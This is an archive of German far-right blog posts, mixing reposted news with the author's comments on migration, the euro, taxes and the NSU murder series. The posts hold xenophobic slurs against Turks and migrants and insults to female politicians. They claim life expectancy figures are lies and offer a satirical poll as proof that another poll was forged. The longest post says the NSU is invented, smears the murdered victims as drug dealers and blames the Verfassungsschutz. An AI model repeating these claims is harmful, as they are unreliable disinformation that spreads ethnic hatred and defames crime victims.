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Archive for the ‘Falschaussagen’ Category

Ewald Stadler – EU-Parlament ist ein heuchlerisches, russlandfeindliches Propaganda-Institut

Posted by deutschelobby - 05/03/2014


In diesem Gespräch berichtet Ewald Stadler, freier Abgeordneter des Europaparlaments und Parteivorsitzender der Reformkonservativen in Österreich, von dem Versuch des EU-Parlaments, mit dem Estrela-Bericht auf staatlich verordnete Pädophilie hinzuarbeiten. Auffällig ist, dass selbst sogenannten Konservative für den Bericht gestimmt haben.

Quellen:
https://www.youtube.com/watch?v=Fz9oH…
https://www.youtube.com/watch?v=7rfX5…

Kanal von Ewald Stadler: https://www.youtube.com/user/bzoepl
http://www.ewald-stadler.at/

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Niedersachsen streicht den Begriff „Integration“…der Wahnsinn von Rot-Grün kennt keine Grenzen….

Posted by deutschelobby - 08/11/2013


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warum sind die Roten und Grünen Nicht-Männer immer hässlich? Muss einen Grund haben, oder?

Cornelia Rundt: Partizipation statt Integration 

HANNOVER. Die niedersächsische Landesregierung hat angekündigt, den Begriff „Integration“ nicht mehr verwenden zu wollen.

Künftig solle statt dessen von einem

„selbstverständlichen Anspruch auf Teilhabe und Partizipation“

gesprochen werden, sagte Sozialministerin Cornelia Rundt (SPD) nach Angaben Nordwest-Zeitung.

Sie begründete dies mit der wachsenden „Vielfalt“ in Niedersachsen. Die zunehmende Einwanderung müsse „wie selbstverständlich mitgedacht werden“. Zugleich sprach sich die SPD-Politikerin für eine bessere „Willkommenskultur“ aus.

Dies gelte besonders für Ausländerbehörden.

Rundt kündigte an, den Anteil von Zuwanderern in der öffentlichen Verwaltung „deutlich“ erhöhen zu wollen.

Derzeit gehe dort wertvolles Potential verloren.(welche Drogen hat die genommen?)

Unterstützung bekam Rundt dabei vom Sachverständigenrat deutscher Stiftungen für Integration und Migration. Der Trend zu einer weiteren Zuwanderung nach Deutschland und Niedersachsen werde anhalten, sagte der wissenschaftliche Mitarbeiter des Sachverständigenrates, Marcus Engler.

Der Glaube, daß vor allem eine Einwanderung in die Sozialsysteme stattfinde, stimme nicht. „Sozialtourismus ist nur ein Randphänomen.“(ist die meschugge oder lügt die mit Absicht? Bei 98% Ablehnung wegen null politische Verfolgung???)

Engler rechnet künftig mit einem Anstieg der Einwanderung um zehn Prozent. 

.

Das heißt also deutlich, dass sich keiner mehr integrieren soll, geschweige denn assimilieren…..nur noch am Geld verdienen und erhalten

teilhaben (partizipieren)…….kurz: Hand auf, das deutsche Umfeld nach türkischen Vorstellungen umgestalten und für immer Türke bleiben…..

wie anti-deutsch und gesellschaftsfeindlich muss diese Verrückte sein?

Hoffentlich kann sie so wenig rechnen, wie vernünftig reden ohne zu lügen, oder?

.————————————

http://www.jungefreiheit.de/Single-News-Display-mit-Komm.154+M5612a38a3f1.0.html

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Ein Volk wird geplündert…..

Posted by deutschelobby - 01/08/2013


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Deutschland treibt am stringentesten (strengsten) Steuern ein, um damit Fremde zu beglücken

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Während hierzulande der Anteil der Geringverdiener mit am höchsten ist und die Deutschen weniger reich sind als vermutet, träumen Politiker von höheren Steuern.

sklaventreiberKopie.

Wenn es gilt, für andere in die Tasche zu greifen, bekommen die Deutschen den immer gleichen Satz zu hören: Das „reiche Deutschland“ müsse „solidarisch sein“ mit den Nachbarn, denen es nicht so gut gehe. Wie reich aber sind die Deutschen wirklich?

Bei der Höhe des Durchschnittsvermögens pro Erwachsenem liegen wir weit abgeschlagen hinter Italienern, Briten, Franzosen oder Spaniern, wie alle veröffentlichten Studien der jüngeren Zeit belegen. Wie eine jüngere Untersuchung aufzeigt, ist auch in kaum einem europäischen Staat der Anteil der Geringverdiener so hoch wie in der Bundesrepublik. Als Geringverdiener gilt, wer weniger als zwei Drittel des Durchschnittslohns verdient. Die Schwelle lag 2010 in Deutschland bei 9,54 Euro, im benachbarten Dänemark bei umgerechnet 15,80 Euro.

Wie kann es sein, dass die Menschen in Ländern der Mittelmeerzone, die als „Krisenländer“ bezeichnet werden und angeblich unserer Hilfe bedürfen, reicher sind als die Deutschen? Die Antwort ist ebenso einfach wie empörend: Der Staat lässt ihnen mehr von ihrem Geld. In Spanien beispielsweise beträgt der Anteil der Steuerlast an der Jahreswirtschaftsleistung 32 Prozent, in Deutschland sind es 40. Wie eine Untersuchung des Unternehmensnetzwerkes PricewaterhouseCoopers ermittelt hat, werden zudem in keinem europäischen Land die Steuern so stringent eingetrieben wie in Deutschland. Nirgends sind Ausnahmen so selten, überall sonst können Firmen eher auf Steuernachlässe hoffen, können Privatpersonen mehr Schlupflöcher nutzen.

Ist wenigstens Entlastung in Sicht? Im Gegenteil: Finanzminister Wolfgang Schäuble (CDU) hat gerade erst alle Forderungen nach Abschaffung des „Soli“ barsch abgewiesen. Einst für die Finanzierung des „Aufbau Ost“ eingeführt, ist er längst zur allgemeinen Steuer verkommen.

SPD, Grüne und Linke träumen darüber hinaus von wahren Steuererhöhungsorgien, die CSU will auf die Kfz-Steuer noch eine Straßenmaut drauflegen. Von einer Entlastung der (nach den Belgiern) am höchsten besteuerten Bürger Europas will niemand etwas wissen.

Stattdessen winkt der Bundestag kommentarlos die nächste „Hilfszahlung“ an Griechenland durch, die in Wahrheit dafür verwendet wird, Athens Gläubigern das Ausfallrisiko vom Hals zu schaffen, um es den deutschen Steuerzahlern umzuhängen. Zugleich müssen die geplünderten Bürger atemlos mit ansehen, wie ihre Politiker die Verantwortung für Milliardenverschwendung bei Pleiteflughäfen oder untauglichen Bundeswehr-Drohnen achtlos an sich abperlen lassen.

Das schwindende Vertrauen in die etablierte Politik ist nicht bloß ein „Kommunikationsproblem“, wie es die PR-Berater der Parteien glauben machen wollen. Es hat handfeste Gründe.

————————————————–

nachzulesen bei preussische-allgemeine-zeitung 31-2013

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Umfragen zum Euro werden im Sinne der „EU“ gefälscht! Forsa-Umfrage im Handelsblatt bewusst manipuliert und nicht repräsentativ…..daher Tatbestand der Fälschung

Posted by deutschelobby - 09/04/2013


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Mehrheit der Deutschen steht zum Euro (gefälscht!!!!)

Der anhaltenden Eurokrise zum Trotz steht die Mehrheit der Deutschen zur europäischen Gemeinschaftswährung: 69 Prozent der Deutschen sprachen sich in einer Umfrage für ein Festhalten am Euro aus. “Das ist ein wichtiges Signal für den Euro”, sagte der CSU-Europaabgeordnete Markus Ferber.DIE-DEUTSCHEN-AFFEN

Der Umfrage des Forsa-Instituts im Auftrag des “Handelsblatts” zufolge wollen 27 Prozent der Befragten die Deutsche Mark zurück haben. Im vergangenen Jahr hatte noch jeder Zweite den Euro abgelehnt. Die Zustimmung zum Euro steigt demnach mit der Höhe des Haushaltseinkommens. Bei Nettoeinkommen ab 3000 Euro bewerten demnach 79 Prozent der Befragten den Euro positiv.

Von den Anhängern der Grünen sprechen sich 88 Prozent für den Euro aus, bei den FDP-Anhängern sind es 83 Prozent, bei den Wählern von CDU/CSU 75 Prozent. “Die für viele nicht durchschaubare Eurokrise ängstigt die Deutschen zwar. Die Einstellung zum Euro als Währungseinheit wird davon aber heute nicht mehr berührt”, sagte Forsa-Chef Manfred Güllner dem “Handelsblatt”.

http://de.nachrichten.yahoo.com/umfrage-mehrheit-deutschen-steht-euro-063417124%E2%80%93finance.html

bereits kurz nach Bekanntgabe war die entsprechende Seite gelöscht/gesperrt.

Gleichzeitig meldete“Deutsche Wirtschaft Nachrichten:

99% der Deutschen wollen egal was es kostet, nur noch den EURO!!!!!!

99%………..die DWN wollte damit beweisen, dass die angebliche Forsa-Umfrage manipulativ gefälscht war!!!

Wir bitte in Eurem Sinnen dringend um Weiterleitung auf möglichst vielen Web- und Blogseiten, sowie mündlich!

Ihr könnt das nicht machen…nein!!! ihr müsst es machen!!!!!!

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Umfrage: 99 Prozent der Deutschen finden den Euro gut

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Eine repräsentative Umfrage der DWN hat ergeben: Die Deutschen finden den Euro alternativlos gut. Vor allem Frauen und FDP-Wähler hängen an der europäischen Gemeinschafts-Währung. Überraschend: Auch die AfD-Anhänger stimmten mehrheitlich für den Euro.

Der Euro kann sich in wissenschaftich unabhängigen Währungsvergleichen eindeutig gegenüber anderen Zahlungsmitteln durchsetzen. (Foto: DWN)

In einer repräsentativen Umfrage haben die DWN die Deutschen gefragt, was sie vom Euro halten. Das Ergebnis überrascht – und übertrifft noch die kühnsten Erwartungen einer vergleichbaren Umfrage, die das Handelsblatt dieser Tage durchgeführt hat: Beim Handelsblatt waren es nur 69 Prozent der Deutschen, die den Euro besser finden als die D-Mark. Bei der DWN-Umfrage fand sich praktisch niemand mehr, der die D-Mark wieder haben möchte.

Bei den DWN waren es in einigen Gruppen 99 Prozent, die sich ein Leben ohne den Euro nicht mehr vorstellen können. Nur die Fans der neuen Anti-Euro-Partei Alternative für Deutschland (AfD) waren skeptischer. Allerdings sprachen auch sie sich mehrheitlich für den Euro aus.

Die exklusiven Fragen, die unser Umfrage-Institut Magari Resarch 1.254 ausgewählten Bundesbürgern gestellt hat, lauteten (in Klammern jeweils die Ergebnisse)

Welche Währung bevorzugen Sie:

A. Euro (99%)
B. Yuan (1%)

Sind Sie dafür, dass sie Ihr Gehalt bekommen in:

A. Euro (97%)
B. Kartoffeln (3%)

Wenn Zypern pleitegeht, was sollte Deutschland bekommen:

A. Euro (93%)
B. Einen Dankesbrief von Mario Draghi (7%)

Wenn Sie ein monatliches Netto-Einkommen von über 3.000 Euro haben, wollen Sie dieses ausbezahlt bekommen in:

A. Euro (92%)
B. Staatsanleihen/Bunds (8%)

Wenn Sie weiblich sind, sind Sie dafür, dass Ihr Mann Ihnen das Haushaltsgeld auszahlt in:

A. Euro (99,5%)
B. Konzert-Abo „Zeitgenössische Kammermusik“ (0,5%)

Wenn Sie FDP-Anhänger sind, welche europäische Währung kennen Sie:

A. Euro (99,9%)
B. Bitcoins (0,1%)

Wenn Sie AfD-Anhänger sind, welche Währung wollen Sie für Deutschland:

A. Euro (65%)
B. Essensmarken (35%)

Damit bestätigte sich, dass der Euro ein in Deutschland ungebrochen beliebtes Zahlungsmittel ist. „Die Euro-Krise hat vor allem die AfD-Wähler verunsichert. Aber mehrheitlich ist die Wahrnehmung des Euro als Währungseinheit doch ausgesprochen positiv“, erkärt Magari-Chef Christian Grabbe den DWN, in deren Auftrag die von der Wissenschaft unabhängige Studie durchgeführt wurde.

Update: Weil einige Leser ganz empört sind, dass wir über eine Umfrage berichten, die 99 Prozent Ja-Stimmen zum Euro ergeben haben soll – hier unsere Erklärung von der DWN-Facebook-Page, die wir aber nur dieses einzige Mal wiederholen:

Leute, wir geben uns große Mühe mit unseren Artikeln. Und wir werden niemals, niemals am Anfang eines Artikels schreiben: Ironie EIN. Merkt Euch eines: Spott ist die beste Waffe gegen die Diktatur. Und je feinsinniger, desto wirkungsvoller. Nachzulesen bei dem im Text verlinkten Christian Dietrich Grabbe – der natürlich kein Meinungsforscher ist, sondern 1827 die berühmte anarchistische Komöde „Scherz, Satire, Ironie und tiefere Bedeutung“ geschrieben hat.

Die Handlung des Stücks erinnert uns an die Finanzkrise: Weil in der Hölle geputzt wird, ist der Teufel auf die Erde gekommen, wo er trotz des heißen Sommerwetters erfriert.

Das Stück ist, so Wikipedia, eine „Parodie des Schulmeisters, die Kritik am Journalismus, an verstaubter Wissenschaft, hohlem Pathos, Spießermoral und der dummen Oberflächlichkeit“.

Die DWN stehen in Grabbes Tradition. Wir werden uns gelegentlich erlauben, solche Auflockerungen in das triste Programm von Euroschuldencrashkrise zu bringen. Ober dem Artikel wird, wie bei diesem Artikel auch, Satire und tiefere Bedeutung stehen. Wie bei der Umfrage von Magari. Übrigens: Magari ist umgangssprachlich Italienisch und heißt hochsprachlich forse (vielleicht). Alles klar?

Die Redaktion

http://deutsche-wirtschafts-nachrichten.de/2013/04/09/umfrage-99-prozent-der-deutschen-finden-den-euro-gut/

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Juncker Lüger Euro EU

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„EU“: Ein „politisch zu brisantes“ Geheimnis: Italiener sind doppelt so vermögend wie die Deutschen

Posted by deutschelobby - 26/03/2013


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Wie reich oder arm sind die Bürger der Euro-Staaten? Eine Untersuchung brachte Klarheit

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wie-reich-oder-arm-sind-die-buerger-der-euro-staaten-eine-untersuchung-brachte-klarheit

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Die Bürger in den Krisenstaaten der Eurozone sind im Mittel reicher als die Bundesbürger. Das hat eine Umfrage der Euro-Notenbanken ergeben, wie die „Frankfurter Allgemeine Zeitung“ meldet. Einen Bericht über die Analyse hält die Bundesbank demnach aber zurück. Der Grund für die Geheimniskrämerei: Die Befragung sei „politisch zu brisant“.

Umfrage der Notenbanken seit 2006

Die Zeitung beruft sich auf eine Untersuchung, welche die Notenbanken der Währungsunion seit 2006 durchführen. Tausende Privathaushalte werden dabei nach ihrem Geldvermögen, dem Wert ihrer Autos und Immobilien sowie der Verschuldung befragt.

Krisenländer schlagen finanzstarke Staaten

So habe der Medianwert der privaten Vermögen in Italien im Jahr 2010 bei rund 164.000 Euro gelegen. Das heißt: Die eine Hälfte der italienischen Bevölkerung besaß mehr, die andere Hälfte weniger. Hierzulande dürfe dieser Wert bei nur rund 76.000 Euro liegen, ähnlich sehe es in Österreich aus. Defizitländer mit großem Vermögen – das könnte die Kritik an der Hilfe finanzstarker Staaten wie Deutschland für die Euro-Krisenländer anheizen, fürchtet die Zeitung.

———————————————

http://www.t-online.de/wirtschaft/schuldenkrise/id_62471022/euro-krise-buerger-in-krisenstaaten-laut-umfrage-reicher-als-in-deutschland.html

——————————–

Alles klar?

Italiener geht ohne Abzüge mit 58 oder 60 in Rente. Volle Rente. Voll gesund.

Deutsche, so wird bereits ganz offiziell geplant, sollen demnächst mindestens bis 70 Jahre arbeiten.

Kinder, die heute geboren werden, müssten bei der ganz offen Planung, bereits bis 80 arbeiten.

Wohlgemerkt:

die durchschnittliche Lebenserwartung steigt keineswegs.

Das ist eine bewusste Falschmeldung.

Beweis? Kein Problem. Schaut in euren Bekannten-Freundes-Verwandtenkreis. Nachbarn und alle

die irgendwie in Erinnerung sind.

Dann macht eure eigene Statistik. …………………….

Männer 72 und Frauen 79…………….die Lebenserwartung bei Frauen ist um 3 Jahre gesunken……..

Wer etwas anderes sagt…..lügt!!!

//

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1) „NSU“: Kam der Killer vom Verfassungsschutz?

Posted by deutschelobby - 28/02/2013


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Nach einigen Monaten sind reichlich Informationen zu dem Thema „Dönermorde“

zusammen-getragen worden.

„NSU“…..dies vorab…“National-Sozialistische-Union“…….diese Organisation gibt es nicht!

Das sollte mittlerweile jedem Freidenker schon klar sein. Die Widersprüche bei der Berichterstattung

in den Medien, die daraus abgeleitete öffentliche Version, sind entlarvend.

„NSU“…..diese Bezeichnung einschließlich der angeblichen Mitglieder wurden in dem Zusammenhang

erfunden, um den aufsteigenden „Freiheits-Willen“ in der Bevölkerung, getragen durch Konservative, Patrioten

und Rechte im besten Sinne, zu bekämpfen.

Auffällig der Zusammenhang mit Norwegen und Anders Breivig…..auch hier quillt es über mit Widersprüche und

künstlich zusammen-gereimte Medien-Machwerke.

Auch damals war die rechts-konservative Entwicklung zum Erhalt der kulturellen und gesellschaftlichen Werte

Europas, stark im Steigen begriffen.

Es ist schon so leicht durchschaubar, dass die Menschen schon sehr naiv sein müssen, um die offizielle Version

bedingungslos Glauben zu schenken.

Doch nun zurück zur „NSU“…..diesem fiktiven Begriff.

„Dönermorde“…..ein selten dämlicher Begriff.

Die 9 getöteten Türken gehörten ausnahmslos zur türkischen Drogen-Szene. Sie waren Drogen-Händler.

Das ist Fakt! Das wurde auch in den türkischen Medien bestätigt. Freilich „freuten“ sich die betroffenen

Familien der „Opfer“ über die deutsche Verlogenheit. Kassierten sie so doch viel Geld und zahlreiche weitere

Vergünstigungen. Das verstanden auch die Medien in der Türkei und hielten sich später dann auffällig

zurück. Warum auf Vorteile verzichten, warum die Täter in der Türkei suchen, wenn sich die Deutschen

doch selber die Schuld geben……………

Nun aber zu ausführlichen Berichten und Hintergründen.

Hier erst-mal ein Artikel. Es folgen ausführliche in das Detail gehende Berichte, die entscheidendes Licht in diese

erneute deutschfeindliche Lüge der Schein-Politiker bringen……………

Wiggerl

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als PDF-Datei

NSU

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als AUDIO

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Der 5. Januar 2012 erregt kein großes Aufsehen in den Medien.

Und das ist seltsam: Denn an diesem Tag wird dem Ermittlungsrichter beim Bundesgerichtshof der Teufel persönlich vorgefuhrt. Nur sechs Wochen zuvor wurde er verhaftet – im Rahmen einer Mords-Show: »Über dem brandenburgischen 100-Einwohner-Dörfchen Grabow schwebte an diesem Tag plötzlich ein Hubschrauber ein«, hieß es auf Welt Online (1.7.2012). Und damit noch nicht genug, seilten sich aus dem Hubschrauber nun auch noch vermummte GSG-9-Leute über dem beschaulichen Nest ab: »Die martialische Aktion in der Provinz sorgte für beeindruckende Fernsehbilder in den Hauptnachrichten.

Die Botschaft war klar: Jetzt legt der Staat den braunen Sumpf trocken.« Donnerwetter! Und tatsächlich: Wenig später schlurfte der Gott-sei-bei-uns im schwarzen Kapuzenshirt, flankiert von zwei Mas-kenmännem der Polizei, von dannen und verschwand hinter schwedischen Gardinen. Der frühere Videoproduzent André E., so der weltliche Name des braunen Beelzebubs, soll die Bekennervideos zu den »Döner-Morden« der sogenannten Zwickauer Terrorzelle (= Nationalsozialistischer Untergrund, NSU) angefertigt haben.

Wie inzwischen hinreichend bekannt, beging die »Zwickauer Terrorzelle« zwischen 2000 und 2007 angeblich das perfekte Verbrechen – oder besser gesagt: die perfekten Verbrechen. Neun türkische und griechische Kleinuntemehmer und eine Polizistin soll die Terrorzelle erschossen haben, ohne dabei auch nur eine verwertbare Spur zu hinterlassen. Bis zum 4. November 2011. An diesem Tag sollen zwei Verdächtige nach einem Banküberfall in Eisenach ihr Wohnmobil angezündet und sich selbst erschossen haben.

In dem Wohnmobil fand sich die Dienstwaffe der erschossenen Polizistin. Am selben Tag soll eine Komplizin namens Beate Z. die Zwickauer Wohnung der drei in die Luft gejagt haben, wo sich schließlich die Tatwaffe der Mordserie fand. Z. sitzt seit dem 8. November 2011 in U-Haft.

Der Video-Macher »ist unser wichtigster Beschuldigter in dem Verfahren«, prahlte ein Fahnder laut Welt Online (a.a.O.) und »stilisierte André E. sogleich zum >vierten Mann der Bande<« hoch. Doch ganz im Gegensatz zu den vollmundigen Behauptungen der Fahnder sind die Beweise dünn, weshalb der Anwalt von André E. auch Haftprüfung beantragt hat. Zunächst allerdings ohne Erfolg.

Die mündliche Haftprüfung vom 5. Januar ergab der schlechten Beweislage zum Trotz: André E., im wirklichen Leben Solaranlagenbauer und Vater von zwei kleinen Söhnen, muss weiter im Gefángnis bleiben.

Sie kamen, sahen und schossen

Doch der Reihe nach: Der Vergleich der »Döner-Killer« mit dem Teufel ist nicht so weit hergeholt. Der oder die »Döner-Mörder« bewegt(en) sich schließlich Abstand wie ein böser Geist:

»Der Täter kommt, schießt und verschwindet. Mehr passiert offensichtlich nicht«, heißt es in einer Rundfunksendung über die »Döner-Morde« der NSU. »Er hinterlässt keinen Fingerabdruck, kein Haar, keine Hautpartikel, mit Hilfe derer man ihn gentechnisch überfuhren könnte. Kein Anzeichen, dass er den Laden durchsucht hat oder die Kasse plündern wollte. Keine Spuren eines Kampfes. Keine Verbindungen zwischen den Opfern. Einfach nichts« ARD-Radio-Feature: »Auf der Suche nach dem >Dönerkiller<«, April 2012).

»Der Täter betritt den Laden, tötet sehr schnell dieses Opfer und setzt keine weiteren Verhaltensweisen am Tatort, was natürlich auch die Analyse eines solchen Falles sehr schwierig gestaltet …«, sagt der Profiler Alexander Horn in einer TV-Sendung. »Die Tötungsdelikte sind geprägt von sehr rationalem Handeln, sehr schnelles, effektives Handeln, wir sehen keine Anzeichen dafür, dass sich der Täter länger mit dem Opfer beschäftigt.«

Mit anderen Worten, der oder die Täter »wollten« überhaupt nichts von den Opfern: keine Rache, kein Geld und Sex natürlich schon gar nicht. Sie stahlen nichts, sie randalierten nicht, sie schlugen und quälten ihre Opfer nicht. Das heißt, anders als andere Mörder befriedigten sie keinerlei Bedürfnisse mit ihren Taten. Die Opfer waren ihnen völlig gleichgültig. Eine Beziehung zwischen ihnen und den Erschossenen schien es nicht zu geben. Ein typisches Merkmal für einen professionellen Killer.

Das Besondere ist jedoch, dass auch der Auftraggeber kein personenbezogenes Motiv zu haben schien. Denn in drei Fällen wurden gar nicht die wirklichen Ladeninhaber, sondern eher zufällig anwesende Verwandte oder Vertretungen erschossen. Und das heißt, dass weder Killer noch Auftraggeber ihre Opfer kannten, sondern dass diese lediglich nach bestimmten abstrakten Merkmalen ausgesucht wurden. Zum Beispiel: »Ladeninhaber, männlich, südländisches Aussehen«.

Statt um Rache, Geld oder Erpressung ging es wohl eher um Symbolik – um einen Angriff auf den »typischen kleinen Migranten«. Also doch Fremden- oder »Rassenhass«? Wohl kaum, denn begleitende Emotionen ließen sich, wie gesagt, an keinem der Tatorte feststellen.

Die Spur führt zum Verfassungsschutz

Das alles ist seltsam. Denn normalerweise werden etwa 95 Prozent aller aufgedeckten Morde aufgeklärt. Wurde ein Mensch erkennbar erschossen, erstochen, vergiftet oder sonstwie ums Leben gebracht, besteht eine etwa 95-prozentige Chance, dass der Täter gefasst wird. Bei einer Mordserie erhöht sich diese Chance mit jeder weiteren Tat, denn jede Tat produziert weitere Ermittlungsansätze: neue Zeugen und neue Spuren zum Beispiel.

Nur die Döner-Mordserie hielt sich einfach nicht an die Gesetze der Kriminalistik. Ja, die Gesetze der Kriminalistik schienen regelrecht außer Kraft gesetzt zu sein. Wer ist dazu fähig? Da gibt es tatsächlich nur drei Möglichkeiten: Gott, der Teufel oder die Behörden selbst.

Während die »Döner-Morde« genau wie die Morde der späten RAF als die Taten von Unbekannten ausgegeben wurden, handelte es sich in Wirklichkeit wohl um allzu Bekannte. So gab es spätestens seit 2006 einen dringend Verdächtigen: Der Mann war in jenem Jahr kurz vor dem Mord an einem Intemetcafé-Besitzer in dessen Gaststätte gewesen.

Bei einer Hausdurchsuchung wurden Waffen und rechtsextreme Schriften gefunden. Laut FAZ vom 14. November 2011 bestand inzwischen der Verdacht, dass der Verdächtige das Intemetcafé eben nicht, wie von ihm behauptet, vor der Tat verlassen hatte. Und das »Beste«: Der Unbekannte arbeitete für den Verfassungsschutz.

Dass er sogar an mehreren »Döner-Tatorten« gesehen wurde, dementierte die Staatsanwaltschaft Kassel zwar, aber ebenso gut hätte sie es bestätigen können. »Ich sehe hier eine Verfassungsschutz-Mordserie«, sagte ich im Januar 2012 in einem Interview: »Darüber müsste man endlich einmal sprechen.« Im selben Monat schrieb ich in einem Artikel: »In Wirklichkeit waren die >Döner-Morde< nie >rätselhaft< oder >nicht aufklärbar<. (…) In Wirklichkeit führen sämtliche Spuren zum Verfassungsschutz«:

♦    Die rechte Gruppe »Thüringer Heimatschutz«, der die mutmaßlichen Serienmörder ursprünglich angehört haben sollen, wurde von dem Verfassungsschutzagenten Tino Brandt gegründet und geführt. Gesamthonorar vom Verfassungsschutz: über 200 000 D-Mark {MDR Online, 20.6.2012, u. a.).

♦    Kurz nachdem die drei angeblichen Rechtsterroristen, die später zur »Zwickauer Zelle« ernannt wurden, 1998 untergetaucht waren, wurde eine geplante Festnahme durch ein Sondereinsatzkommando in letzter Sekunde abgebrochen (MDR Online, 19.11.2011).

♦    Nach Angaben des Spiegel hat der Thüringer Verfassungsschutz Ende der neunziger Jahre drei Mitarbeiter im Umfeld der drei Untergetauchten geführt, wobei nicht ganz klar ist, ob damit nicht die drei mutmaßlichen Terroristen selbst gemeint waren (,Spiegel Online, 19.11.2011).

♦    Im Jahr 2006 flog besagter Mitarbeiter des hessischen Verfassungsschutzes auf, der angeblich nicht nur in Kassel, sondern auch an sechs Tatorten der »Döner-Morde« anwesend war

(HNA.de, 15.11.2011). Nach der Festnahme (und baldigen Freilassung) des Verdächtigen hörte die »Döner-Mordserie« auf.

♦    In den Trümmern des ausgebrannten Hauses der »Terrorzelle« in Zwickau wurden sogenannte legale illegale Papiere gefunden, wie sie Geheimdienste für ihre Mitarbeiter anfertigen {Berliner Morgenpost Online, 14.11.2011).

Ein V-Mann bekennt sich zum Mord

Kurz nach dem letzten Mord in dem Intemetcafé Anfang April 2006 wurde versucht, die Ermittlungen »mit Gewalt« bei dem geheimdienstartigen Bundeskriminalamt zu zentralisieren. Die Sache muss so wichtig gewesen sein, dass das BKA 2006 »mit massivem Druck versucht« habe, »die Ermittlungen an sich zu ziehen«, so tagesschau.de am 24. Mai 2012. Doch das bayerische Innenministerium habe Widerstand geleistet und sogar von einer »Kriegserklärung« gesprochen. Was war da los?

Die Antwort: Die Zentralisierung von Ermittlungen beim BKA bedeutet zunächst einmal die Kontrolle über die Ermittlungen. Und das hat immer wieder dazu geführt, dass Ermittlungen im Sande verliefen. So sind etwa auch sämtliche Morde der »späten RAF« an Leuten wie Alfred Herrhausen, Detlev Karsten Rohwedder und Gerold von Braunmühl bis heute unaufgeklärt geblieben. Unaufgeklärt ist nach wie vor auch der Mord an Generalbundesanwalt Siegfried \Buback (1977). Auch hier gibt es deutliche Anzeichen für eine Verstrickung der Geheimdienste. Zuständig für all diese gescheiterten oder sabotierten Ermittlungen ist das Bundeskriminalamt (als Ermittlungsbehörde der Bundesanwaltschaft).

Die Zentralisierung und Kontrolle der Ermittlungen gelingt jedoch nur bei Terrorismusverdacht. Dann darf die Bundesanwaltschaft die Ermittlungen an sich ziehen und das BKA mit den Nachforschungen beauftragen. Da bei den »Döner-Morden« jedoch kein Terrorismusverdacht bestand, scheiterte das Vorhaben zunächst. Der damalige bayerische Innenministers Günther Beckstein kämpfte mit Zähnen und Klauen gegen die Übernahme der Ermittlungen durch das Bundeskriminalamt.

Offenbar wollte er die Ermittlungen unabhängig vom BKA zum Erfolg führen. Statt den Fall im »schwarzen Loch« des BKA verschwinden zu lassen, rüstete Beckstein zusätzlich finanziell auf und erhöhte die Belohnung für sachdienliche Hinweise auf sage und schreibe das Zehnfache: von 30000 auf 300000 Euro (tagesschau.de, 24.5.12).

So verlor das BKA seinen »Krieg« um die Kontrolle der »Döner-« bzw. »Bosporus«-Ermittlungen – mit für die Behörden möglicherweise fatalen Konsequenzen. Denn nun kroch tatsächlich ein Verfassungsschutzmann aus seinem Loch. Spätestens Ende August 2011, nur etwa zwei Monate vor der »Entdeckung« der angeblichen »Terrorzelle«, drohte die ganze Sache zu platzen und das kriminelle Treiben des Verfassungsschutzes aufzufliegen.

Am 22. August 2011 berichtete der Spiegel von einem Verfassungsschutzagenten, der selbst in einen der neun Morde verstrickt gewesen sei. Er habe bereits Kontakt zu Polizei und Staatsanwaltschaften aufgenommen.

Der Mann sei im Besitz der Tatwaffe oder kenne zumindest das Versteck, aus dem sie alle paar Jahre hervorgeholt werde, um einen neuen Mord zu begehen. Der in dem Intemetcafé in Kassel 2006 geplante Mord sei dem Verfassungsschutz demzufolge vorher bekannt gewesen, und das Café sei beschattet worden – ohne den Mord dabei zu verhindern.

Land unter beim Verfassungsschutz

Da war Land unter. Erstens mussten nun endlich andere Verdächtige für die Mordtaten her – und zwar vorzeigbare Verdächtige, nicht irgendwelche Verfassungsschutz-Leute. Zweitens musste es sich um »Terroristen« handeln, damit die Ermittlungen endlich beim BKA und bei der Bundesanwaltschaft, die dem Verfassungsschutz nahesteht und einen gewissen personellen Austausch mit dem Geheimdienst pflegt, konzentriert werden konnten.

Für den »Terrorismusverdacht« wiederum braucht man nicht nur Verdächtige, sondern auch Bekennerbriefe oder -videos, die diesen Verdacht begründen. Daher ergibt es durchaus Sinn, dass der Verfassungsschutz und andere Behörden spätestens jetzt verzweifelt nach Sündenböcken suchten, mit denen man eine terroristische Vereinigung »gründen« und gleich wieder hoppnehmen, konnte – allerdings nicht, ohne ihr dabei entsprechende Beweismittel unterzujubeln.

Was indes nur funktioniert, wenn die Verdächtigen sich nicht mehr wehren können. Deshalb sind die Verdächtigen am besten tot. Man nehme also: zwei Leichen, alle möglichen kompromittierenden Tatwaffen und ein Bekennervideo. So dürfte es zu dem denkwürdigen 4. November 2011 gekommen sein, an dem zwei Leichen zusammen mit Beweismitteln in einem brennenden Wohnmobil lagen und eine weitere »Verdächtige« aus einem brennenden Haus flüchtete.

Leichen, Lügen und Videos

»Nach dem, was ich während dieses Einsatzes gesehen habe, muss ich mich sehr wundem, was dort zwei Tage danach noch alles in der Brandruine gefunden wurde«, sagte einer der Feuerwehrmänner verblüfft {Hamburger Abendblatt Online, 20.11.2011): neben den DVDs mit E.s angeblichem Bekennervideo auch ein »Flugblatt« von André E., das in Wirklichkeit ein harmloser Werbeflyer war. Wobei natürlich die Frage auftaucht, warum die angeblichen Terroristen sich nicht gleich nach ihren inzwischen Jahre zurückliegenden Taten dazu bekannten.

Welchen Sinn ergeben politische Attentate ohne Bekennerbrief oder Bekennervideo? Und noch verrückter: Wenn es zu den »Döner-Morden« doch ein Bekennervideo gab, warum ließen sie es dann viele Jahre in der Schublade liegen?

Fazit: Nichts passt zusammen, weder kriminalistisch noch logisch. Für die Behörden war das Bekennervideo dennoch wichtig, weil die Bundesanwaltschaft das »Döner-Mord«-Verfahren nun endlich an sich ziehen und kontrollieren konnte (nach § 142a Gerichtsverfassungsgesetz).

Ohrfeigen für die Fahnder

Natürlich musste man noch einen »Videoproduzenten« präsentieren. Schließlich konnten die Videos ja nicht aus dem Nichts kommen. Und damit sind wir wieder bei dem früheren Video-Macher und »braunen Beelzebub« André E. Das Verfahren gegen die angebliche Terrorzelle »NSU« entwickelte sich für die Behörden zum Desaster. Ein tatverdächtiger »Helfer« nach dem anderen musste freigelassen werden. Am 14. Juni 2012 schließlich auch André E. Dabei erfuhr man nebenbei, dass sich die Bundesanwaltschaft offenbar nicht auf konkrete Beweise, sondern hauptsächlich auf die Machart des Videos gestützt hatte, um E. zu beschuldigen.

